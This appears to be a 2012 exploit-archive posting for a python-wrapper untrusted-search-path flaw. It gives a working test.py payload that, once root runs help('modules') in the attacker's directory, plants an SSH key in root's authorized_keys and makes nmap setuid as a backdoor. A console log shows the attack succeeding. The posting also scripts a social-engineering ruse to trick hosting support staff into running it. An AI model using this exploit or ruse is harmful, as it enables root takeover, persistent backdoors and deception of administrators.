what you don't know can hurt you

Python-wrapper Untrusted Search Path / Code Execution

Python-wrapper Untrusted Search Path / Code Execution
Posted Jul 2, 2012
Authored by ShadowHatesYou

Python-wrapper executes any test.py script within the current working directory, when supplied with help('modules'). A non-privileged user may gain code execution by tricking root to help('modules') or help() and then modules from within python-wrapper while within a non-privileged user's work directory.

tags | exploit, root, code execution, python
MD5 | 60a7c8a891a86f01b44e6ff5298e5780

Python-wrapper Untrusted Search Path / Code Execution

Change Mirror Download
# python-wrapper untrusted search path/code execution vulnerability
#
# Python-wrapper executes any test.py script within the current working directory, when supplied with help('modules').
# A non-priviledged user may gain code execution by tricking root to help('modules') or help() and then modules from within python-wrapper
# while within a non-priviledged user's work directory.
#
# The evil file MUST be titled test.py! os.system("evilcommand") will result in python-wrapper executing said command, and then continuing normally
# with no signs of compromise if you redirect command output. os.system("/bin/echo ssh-rsa yourkey yourkeycomment >> /root/.ssh/authorized_keys") does not
# work, however os.system("/bin/echo $(echo ssh-rsa yourkey yourkeycomment >> /root/.ssh/authorized_keys)") does.
#
#
# Additionally, nmap makes a great backdoor from a non-priviledged user account because it's something that looks like you might actually
# want SETUID under certain circumstances, but not really(and it will bitch if invoked). In nmap 5.31DC1 the most useful switch(--interactive) was removed
# which previously allowed you to bang out a shell(!/bin/csh, but not bash). Thank you David/Juan Carlos Castro for breaking one of my favorites.
# NOW however there is the nmap scripting engine to exploit. As usual, the input-output commands will behave like any exploitable SETUID program
# with input-output commands.
#
#
# A practical example of how this vulnerability could be useful is if you wish to attack a shared webhosting enviornment.
# After convincing root(support) to cd in to your directory, perhaps by uploading a broken "distraction.py" and getting him to troubleshoot it,
# you could pose the question: "Hey, what python modules do you guys have installed?" "I'm not quite sure how to list that..."
# "You can list the modules installed by entering python-wrapper, and typing help('modules')" "Oh!" *silent test.py execution by root*
# "There's a lot of them... would you like them as an email attachment?" "Yeah, thanks. I think I'll look at that and try troubleshooting this more myself".
#
#
# - ShadowHatesYou (Shadow@SquatThis.net)
# 6/30/12

root@tourian:/home/shadow/python# ls -hl test.py
-rw-r--r-- 1 shadow shadow 137 Jun 30 13:06 test.py
root@tourian:/home/shadow/python# cat test.py
#!/bin/python
import os
os.system('/bin/echo $(echo "ssh-rss pwned byshadow" >> /root/.ssh/authorized_keys); chmod 4755 /usr/bin/nmap')

root@tourian:/home/shadow/python# ls -hl /usr/bin/nmap
-rwxr-xr-x 1 root root 1.9M Jun 30 13:06 /usr/bin/nmap
root@tourian:/home/shadow/python# ls -hl /root/.ssh/authorized_keys
ls: cannot access /root/.ssh/authorized_keys: No such file or directory
root@tourian:/home/shadow/python# python-wrapper
Python 2.7.3 (default, May 4 2012, 00:13:26)
[GCC 4.6.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> help('modules')

Please wait a moment while I gather a list of all available modules...


ArgImagePlugin _bisect email pprint
BaseHTTPServer _codecs encodings pptransport
Bastion _codecs_cn errno ppworker
BdfFontFile _codecs_hk exceptions profile
BeautifulSoup _codecs_iso2022 fcntl pstats
BeautifulSoupTests _codecs_jp filecmp pty
BitTornado _codecs_kr fileinput pwd
BmpImagePlugin _codecs_tw fnmatch py_compile
BufrStubImagePlugin _collections formatter pyclbr
CDROM _cracklib fpformat pydoc
CGIHTTPServer _csv fractions pydoc_data
ConfigParser _ctypes ftplib pyexpat
ContainerIO _ctypes_test functools pyrit_cli
Cookie _curses future_builtins pyximport
Crypto _curses_panel gamin quopri
CurImagePlugin _elementtree gc random
Cython _emerge gdbm re
DLFCN _functools genericpath readline
DcxImagePlugin _gamin gentoolkit repoman
DocXMLRPCServer _gv getopt repr
EpsImagePlugin _hashlib getpass resource
ExifTags _heapq gettext rexec
FitsStubImagePlugin _hotshot git_remote_helpers rfc822
FliImagePlugin _imaging glob rlcompleter
FontFile _imagingft grp robotparser
FpxImagePlugin _imagingmath gv rrdtool
GbrImagePlugin _io gzip runpy
GdImageFile _json hashlib scapy
GifImagePlugin _lcms heapq sched
GimpGradientFile _ldns hmac scipy
GimpPaletteFile _locale hotshot select
GribStubImagePlugin _lsprof htmlentitydefs sets
HTMLParser _md5 htmllib setuptools
Hdf5StubImagePlugin _multibytecodec httplib sgmllib
IN _multiprocessing ihooks sha
IcnsImagePlugin _pyio imaplib shelve
IcoImagePlugin _random imghdr shlex
ImImagePlugin _sha imp shutil
Image _sha256 importlib signal
ImageChops _sha512 imputil site
ImageCms _socket inspect smtpd
ImageColor _sre io smtplib
ImageDraw _ssl itertools sndhdr
ImageDraw2 _strptime java_config_2 socket
ImageEnhance _struct javatoolkit spwd
ImageFile _symtable json sre
ImageFileIO _testcapi keyword sre_compile
ImageFilter _threading_local lcms sre_constants
ImageFont _unbound ldns sre_parse
ImageGL _warnings ldnsx ssl
ImageGrab _weakref lib2to3 stat
ImageMath _weakrefset libsvn statvfs
ImageMode _xmlplus libxml2 string
ImageOps abc libxml2mod stringold
ImagePalette aifc libxslt stringprep
ImagePath antigravity libxsltmod strop
ImageQt anydbm linecache struct
ImageSequence argparse linuxaudiodev subprocess
ImageShow array locale sunau
ImageStat ast logging sunaudio
ImageTk asynchat lxml svn
ImageTransform asyncore macpath symbol
ImageWin atexit macurl2path symtable
ImtImagePlugin audiodev magic sys
IptcImagePlugin audioop mailbox sysconfig
JpegImagePlugin base64 mailcap syslog
McIdasImagePlugin bdb markupbase tabnanny
MicImagePlugin binascii marshal tarfile
MimeWriter binhex math telnetlib
MpegImagePlugin bisect md5 tempfile
MspImagePlugin bs4 mhlib termios
OleFileIO bz2 mimetools test
OpenIPMI cPickle mimetypes textwrap
PAM cProfile mimify this
PIL cStringIO mirrorselect thread
PSDraw calendar mmap threading
PaletteFile cgi modulefinder time
PalmImagePlugin cgitb multifile timeit
PcdImagePlugin chunk multiprocessing toaiff
PcfFontFile cmath mutex token
PcxImagePlugin cmd netrc tokenize
PdfImagePlugin code netsnmp trace
PixarImagePlugin codecs new traceback
PngImagePlugin codeop nis tty
PpmImagePlugin collections nntplib types
PsdImagePlugin colorsys ntpath unbound
Queue commands nturl2path unboundmodule
SgiImagePlugin compileall numbers unicodedata
SimpleHTTPServer compiler numpy unittest
SimpleXMLRPCServer contextlib opcode urllib
SocketServer cookielib operator urllib2
SpiderImagePlugin copy optparse urlparse
StringIO copy_reg os user
SunImagePlugin cpyrit os2emxpath uu
TYPES cracklib ossaudiodev uuid
TarIO crypt paramiko warnings
TiffImagePlugin ctypes pdb weakref
TiffTags curses pickle webbrowser
UserDict cython pickletools whichdb
UserList datetime pipes wsgiref
UserString dbm pkg_resources xattr
WalImageFile decimal pkgutil xcbgen
WmfImagePlugin difflib platform xdelta3main
XVThumbImagePlugin dircache plistlib xdrlib
XbmImagePlugin dis popen2 xen
XpmImagePlugin distutils poplib xml
_LWPCookieJar dnet portage xmllib
_MozillaCookieJar doctest posix xmlrpclib
_OpenIPMI drv_libxml2 posixfile xxsubtype
__builtin__ dumbdbm posixpath yasm
__future__ dummy_thread pp zipfile
_abcoll dummy_threading ppauto zipimport
_ast easy_install ppcommon zlib

Enter any module name to get more help. Or, type "modules spam" to search
for modules whose descriptions contain the word "spam".

>>> quit()
root@tourian:/home/shadow/python# ls -hl /usr/bin/nmap
-rwsr-xr-x 1 root root 1.9M Jun 30 13:06 /usr/bin/nmap
root@tourian:/home/shadow/python# cat /root/.ssh/authorized_keys
ssh-rss pwned byshadow


# Wish I had DuoSecurity!
# See you at Defcon!

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    10 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close